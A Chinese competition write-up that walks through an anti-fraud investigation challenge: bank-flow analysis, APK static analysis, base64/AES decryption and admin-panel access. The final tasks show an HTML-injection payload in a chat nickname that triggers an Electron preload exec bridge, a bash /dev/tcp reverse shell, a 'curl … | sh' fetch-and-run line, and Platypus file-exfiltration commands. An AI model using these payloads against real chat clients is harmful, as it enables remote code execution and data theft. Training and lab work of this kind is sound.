写在前言
本期是由【圣地亚哥皮蛋厂】战队队长【马珺】分享的复盘思路,也是本次赛事复盘的最后一篇稿件了,在参与斟茶王者过程中,他对出题意图进行层层剖析,充分展现出其在案件研判方面超乎寻常的专业水准,并且他语言幽默,风格别具一格。
赛事题目
1、资金初探
分析收取受害人资金的一级卡转账记录,统计其下级卡中接收受害人资金最多的账户
首先认真看完案情介绍后,摘出关键词再去看本题的答案要求:
得到case.docx 也就是案情笔录
进行线索提取:
1.这里报案人是受害人的弟弟 叫王吉 306502297916925791 18200003333 身份证_号码以“360502”开头的属于中国江西省新余市渝水区,不知道有没有用,先留在这里 |
2.里面还有一个APP下载地址 https://openai.wenxinyiyandu.com/download |
3.南河商业银行 姐姐的银行卡 NH1750702295235155 转账¥200000到NH1787538591224642 转账时间是2024年7月16日12点23分 |
在这里面能提取的要素就这些,下面根据第三条线索里的“一级卡”去模拟调证,得到银行流水文件:
再看看第一题的题目要求:“统计其下级卡中接收受害人资金最多的账户”
简简单单一个数据透视表,这里唯一一个不需要说的基础点就是我发现有同事竟然不了解“借贷”标志位,这里还有一个需要注意的点,统计求和需要使用的字段是金额而不是余额,因为题目要求的是接收受害人资金最多的账户
第一题结论:数据透视表能解决的东西就不需要硬上I2了
2、运气爆棚
意外从其中一张银行卡6226*******6978927中找到了线索。(用重明查一下看看,也许有意想不到的收获,请以搜索结果中的涉案群组ID作为答案)
第二题结论:没什么好说的一道题,实战很有意义,难度也不大,系统练习题
3、黑词大闯关
请启动下方的网站,帮助林风通过入群验证
第三题结论:挺有创意的,毕竟有些群就是得验证+黑话哈哈
这里解释一下上押,太费劲了,还得翻笔记,不找了,长期浸泡一线的案件民警肯定明白,(神秘出题人辅助提示:上押即在担保平台交押金 ),这题有bug,我很确信的一部分选项在群里勘误了,二哥回复特别快,点赞。
这题是模拟环境,真实环境需要TG账号等一系列环境,不细说了,也是基础操作。
没想到把入群机器人检测验证改成了黑灰话测试,也很有意思,毕竟想和嫌疑人“打成一片”就是需要对上路子
–“宝塔震河妖”
答对四道题,进入群聊:
4、转移阵地
分析这个二维码,以二维码包含的链接末尾路径作为答案
第四题结论:看到这个界面一惊,还以为后面要考IPA呢,吓我一跳
这题其实可以优化,毕竟现在的apk分发都会检测user-agent头,可以尝试根据浏览器更改不同的user-agent头去下载不同的安装包(神秘出题人:建议很好,下期考虑采纳)
朴实无华的二维码解析结果:
https://scene-47cziqjhf6ykdovj-appdownload-3000.zhigeng09.toolmao.com/FEJXUUM04OT4
其实题目到这就出来了:FEJXUUM04OT4
5、躲猫猫
分析这个APP,锁定其API接口地址的获取地址,以获取地址的TOKEN作为答案
第五题结论:没有结论… 看起来这个像是要搞事情,因为这个不是常见的SDK,自动化分析软件出不来调证信息,考的就是手工活
云真机?我没用过啊,也没有权限啊:(神秘出题人:打个小广告,云真机操作台实时操作分析APP网络请求、SDK信息,支持Frida、实时日志。初次申请可免费试用一周!)
那就只能抓包和静态分析看看了,本以为要抓包,结果惯性先看AndroidManifest.xml的时候:
https://scene-47cziqjhf6ykdovj-oss-3000.zhigeng09.toolmao.com/20240710.txt?token=8C15XKYTLA25
在看这个地方的时候,平时也习惯了多看看SDK
结果有两个东西也同时引起了我的兴趣,先摘出来放在这
<meta-data android:name="com.nosugar.chatapp.key" android:value="COMFH9BFBVM1AXO2B6D7DT07RH7Q9O9V"/>
<meta-data android:name="com.xingguang.PUSHSDK.appKey" android:value="XGI6WGLQVPMJUO6B"/>
6、新的猫
找到新的API请求地址,以地址的末尾路径作为答案
第六题结论:有点做ctf-misc-隐写类型题目的感觉
前提:
https://scene-47cziqjhf6ykdovj-oss-3000.zhigeng09.toolmao.com/20240710.txt?token=8C15XKYTLA25
那么我们先拆解一下这个请求:
https://scene-47cziqjhf6ykdovj-oss-3000.zhigeng09.toolmao.com/20240710.txt?token=8C15XKYTLA25
复习一下,这个条请求里面四个颜色我标注出来的分析是 域名 路径 查询参数
如果你还是不懂,那我只好祭出来这张图了:
来源:无糖浏览器-知更-知识树
域名不能改,参数不好爆破,那还能哪能改,你说哪能改?还剩哪啊,答案就呼之欲出了,包括oss对象存储服务都是细节,对,没错,就是20240710.txt,实战中,其实遇到过嫌疑人顺着子域名编号诈骗的情况,这里我猜是日期。
那么本着先手测再抓包的手法,试试看:
404有戏,后面大家就都知道了,凡是带=号的我都得怀疑一下是不是base64,毕竟这是我当初认识的第一个编码
坑点:有乱码,根据base64的编码规则,“=”号就是结尾和补充用的,所以有的工具解不出来,把等于后面删掉就可以了
5fa https://scene-47cziqjhf6ykdovj-teleframadmin-3000.zhigeng09.toolmao.com/?flag=R257VXQKKCR0
引用:
7、藏起来的钥匙
解包Telefram APP,找找看有没有新的线索,比如SDK。
第七题结论:这题好就好在,自动化做不出来必须手动静态分析,考察路径
这里的hint都提到了SDK,不用考虑了,直接把上面AndroidManifest.xml看到的SDK填充试试
8、拔萝卜
结合模拟调证,向星光推送的运营公司进行调证,以Telefram的开发者联系邮箱作为答案
深圳市星光科讯信息技术有限公司
重新回到案子的题目和内容上看看:首先受害人的弟弟是王吉,和主办民警刚好认识,又在SDK的公司工作
事已至此,先调证吧
邮箱有了,答案就有了
9、开门开门
分析新的API请求地址,找到Telefram的后台访问地址并获取登录权限。
打开base64解密出来的网站:
https://scene-o6i2mq3ejkml2q52-teleframadmin-3000.zhigeng09.toolmao.com/
https://scene-j2vr723vksxcfuk7-teleframadmin-3000.zhigeng09.toolmao.com/
https://scene-v9erbmgm894iiiuf-teleframadmin-3000.zhigeng09.toolmao.com/
……. 讲真,一个小时一重置真的挺麻烦的(神秘出题人:哈哈哈,九九八十一难,怎么不算一难呢?)
打开调证文件:这题确实是我想多了,我潜意识感觉要对手机号进行进一步的调证或者分析,结果发现密码就是手机号
这题其实除了密码组合爆破以外,还可以考虑结合burp的插件进行验证码组合爆破会更有意思的
10、人真不少
聊天用户中最后登录IP为67.98.23.12的聊天用户数量
进入后台,下意识先看看有没有文件上传点,很遗憾,无!
这要根据题目要求一个个数得数到明年吧?导出也只支持1000条,再看看
这里先讲第一种方法:直接写脚本爬取:
#coding:utf-8
import requests
ll = []
for i in range(1,251):
url = 'https://scene-j2vr723vksxcfuk7-teleframadmin-3000.zhigeng09.toolmao.com/api/chater/list?current=' + str(i) + '&pageSize=100'
headers = {"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoibHFjZnVndXQiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIyMjU3NjM3LCJleHAiOjE3MjIyNjk2Mzd9.zHFkeIKhC4Hct6BY_va9Jk6SpKfQxsvtk2ia9I3MDtw"}
r = requests.get(url=url,headers=headers,verify=False)
ll = ll + eval(r.content)["data"]
print i
f = open('1.txt','ab')
f.write(str(ll))
f.close()
#Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoibHFjZnVndXQiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIyMjU3NjM3LCJleHAiOjE3MjIyNjk2Mzd9.zHFkeIKhC4Hct6BY_va9Jk6SpKfQxsvtk2ia9I3MDtw
11、数据拖拉机
帮林风找到办法获取聊天消息内容,以聊天消息中的FLAG作为答案
GET /api/download?filePath=backups/backup-1722307971479.sql HTTP/1.1
Host: scene-bl5nesuy2664nxbn-teleframadmin-3000.zhigeng09.toolmao.com
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoibHFjZnVndXQiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIyMzA3NDcwLCJleHAiOjE3MjIzMTk0NzB9.gbCC6GOihyjzkzSgGjYZX4OWsNEqsN_wqFx0u-DMfzw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://scene-bl5nesuy2664nxbn-teleframadmin-3000.zhigeng09.toolmao.com/chatUsers
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: close
String key = getKey(context);
String substring = key.substring(0, 16);
Intrinsics.checkNotNullExpressionValue(substring, "substring(...)");
byte[] bytes = substring.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)");
String substring2 = key.substring(16, key.length());
Intrinsics.checkNotNullExpressionValue(substring2, "substring(...)");
byte[] bytes2 = substring2.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");
IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);
<meta-data android:name="com.nosugar.chatapp.key" android:value="COMFH9BFBVM1AXO2B6D7DT07RH7Q9O9V"/>
<meta-data android:name="com.xingguang.PUSHSDK.appKey" android:value="XGI6WGLQVPMJUO6B"/>
#coding:utf-8
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def get_key():
return "COMFH9BFBVM1AXO2B6D7DT07RH7Q9O9V"
def decrypt(encoded_content):
key = get_key()
if len(key) != 32:
raise ValueError("Key length must be 32 characters.")
aes_key = key[:16].encode('utf-8')
iv = key[16:].encode('utf-8')
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
encrypted_data = base64.b64decode(encoded_content)
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
return decrypted_data.decode('utf-8')
f = open('2.txt','rb')
lines = f.readlines()
for i in lines:
#print(i)
decrypted_text = decrypt(i)
print(f"Decrypted Text: {decrypted_text}")
12、动物乐园
分析该群聊中的各个角色身份,锁定承担财务和洗钱职责的人员的用户名。
13、黑蛇白了
根据最新的群内消息,判断黑蛇死亡地所在市和区的名称
#coding:utf-8
import requests
# url = 'https://scene-hjmbnxvsjpiu92aa-teleframadmin-3000.zhigeng08.toolmao.com/api/chater/list?current='1'&pageSize=100'
ll = []
# for i in range(1,251):
url = 'https://scene-r6jjh098f9276sm7-teleframadminafter-3000.zhigeng09.toolmao.com/api/download?filePath=uploads/7azgKgaQfto55VWnaR.png'
headers = {"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoibHFjZnVndXQiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIxMDQxNDg5LCJleHAiOjE3MjEwNTM0ODl9.4d-HWe9xY1aKCjEeEh-PhSevKvOIRfVhoMb7eTsMglM"}
r = requests.get(url=url,headers=headers,verify=False)
# ll = ll + eval(r.content)["data"]
# print i
f = open('tupian.png','ab')
f.write(r.content)
f.close()
14、秘上加谜
分析查找镜像内容中的可能线索。
来源-斟茶王者案件报告(部分截图)
回到正题:三个flag:
15、悄悄潜入
尝试登录黑蛇的聊天软件,通过静默的方式获取浣熊的聊天客户端权限
file:// chatUrl8scene-79k2onzcxd4682lt-final-3000.zhigeng09.toolmao.com(.|,2 - _x0012__file:// password58FXVJITUVAZ7ZAIf_x0005_鸑( . _x0012__file:// username snakeB
// preload.js
var cp = require("child_process");
window.chatClientApi = {
execCommand:function(N,cmd){
switch(N){
case 1818:
cp.exec(cmd);
break;
case 1919:
console.log("hello");
break;
default:
console.log("execCommand "+N+" ok");
}
}
}
// All the Node.js APIs are available in the preload process.
// It has the same sandbox as a Chrome extension.
window.addEventListener('DOMContentLoaded', () => {
const replaceText = (selector, text) => {
const element = document.getElementById(selector)
if (element) element.innerText = text
}
for (const dependency of ['chrome', 'node', 'electron']) {
replaceText(`${dependency}-version`, process.versions[dependency])
}
})
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Background Image Example</title>
<style>
.background-div {
width: 300px; /* 设置宽度 */
height: 200px; /* 设置高度 */
background-image: url(''http://x.x.x.x:8888/flagIS666'');
background-size: cover; /* 使背景图像覆盖整个div */
background-position: center; /* 背景图像居中 */
}
</style>
</head>
<body>
<div class="background-div"></div>
<script>this.parent.chatClientApi.execCommand(1818, 'bash -c "bash -i >& /dev/tcp/X.X.X.X/9527 0>&1"');</script>
</body>
</html>
python3 -m http.server 8888 --directory /NoSugar
监听相应端口等待回弹shell:nc -lvnp 9527
POST /api/chat/edit HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MjIwMTYsInVzZXJuYW1lIjoic25ha2VCIiwiYWNjZXNzIjoiY2hhdGVyIiwiaWF0IjoxNzIyMzM2NTI1LCJleHAiOjE3MjIzNDg1MjV9.oLpCNuBMOcHRbeT6pKI6dmMySrA1WZtXYHFG6sFfNSA
Connection: keep-alive
Content-Length: 19
Content-Type: application/json
Host: scene-sxaajtnbtf0nb5f3-final-3000.zhigeng09.toolmao.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) maicha/1.0.2 Chrome/126.0.6478.127 Electron/31.2.0 Safari/537.36
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
{nickname: "2222222"}
{"nickname":"<object type="text/html" data="http://X.X.X.X:8888/rce.htm">"}
HTTP/1.1 201 Created
Server: nginx/1.25.2
Date: Tue, 30 Jul 2024 10:58:33 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
X-Powered-By: Express
ETag: W/"a2-ol+Na1kwSsjyJmqKsq8+jEv5GFg"
Content-Length: 162
{"statusCode":201,"message":"Success","data":{"id":22016,"username":"snakeB","nickname":"<object type="text/html" data="http://X.X.X.X:8888/rce.htm">"}}
https://mp.weixin.qq.com/s/oIm6syTuLFmCmvk3Axaz4w
16、谁是凶手
所有的案件信息都已提供,请找到本案中的所有嫌疑人的身份证号码作为答案
1.base64 sfz.png
第二个办法是Platypus
this.parent.chatClientApi.execCommand(1818, 'curl http://x.x.x.x:13338/|sh')
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Background Image Example</title>
<style>
.background-div {
width: 300px; /* 设置宽度 */
height: 200px; /* 设置高度 */
background-image: url(''http://x.x.x.x:8888/flagIS666'');
background-size: cover; /* 使背景图像覆盖整个div */
background-position: center; /* 背景图像居中 */
}
</style>
</head>
<body>
<div class="background-div"></div>
<script>this.parent.chatClientApi.execCommand(1818, 'curl http://X.X.X.X:13338/|sh');</script>
</body>
</html>
POST /api/chat/edit HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MjIwMTYsInVzZXJuYW1lIjoic25ha2VCIiwiYWNjZXNzIjoiY2hhdGVyIiwiaWF0IjoxNzIyMzkzMjIwLCJleHAiOjE3MjI0MDUyMjB9.ULqMMKCr47K4Pu5qvuWTIkXu8SniH9KWwPo0q91agRI
Connection: keep-alive
Content-Length: 17
Content-Type: application/json
Host: scene-969yswa85uftg01k-final-3000.zhigeng09.toolmao.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) maicha/1.0.2 Chrome/126.0.6478.127 Electron/31.2.0 Safari/537.36
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
{"nickname":"<object type="text/html" data="http://X.X.X.X:8888/play.htm">"}
Jump [HASH | NAME] #跳转到某⼀个 Shell 对其进⾏操作:
Upgrade 1.3.3.7:13337
PTY # 升级终端
Interact #当跳转到某一个 Shell 之后,与之进行交互。如果您想要退出当前正在交互的 Shell,可以直接输入 exit 即可返回。
Download /tmp/www.tar.gz ./NoSugar #将当前交互主机的 /tmp/www.tar.gz 下载⾄ Platypus 当前⽂件夹下的 NoSugar中。
Download /home/boss ./NoSugar
Upload / Download ## 当跳转到某⼀个Shell 之后,上传或下载⽂件,目前 Platypus 只支持在 Cli 模式下进行文件上传下载操作
Upload ./dirtyc0w.c /tmp/dirtyc0w.c:上传文件 将 Platypus 当前文件夹下的 dirtyc0w.c 上传至当前交互主机的/tmp/dirtyc0w.c
Help
第三个办法是DNS外带
第四个方法:c2
小彩蛋:
点击下载
原文始发于微信公众号(无糖反网络犯罪研究中心):复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺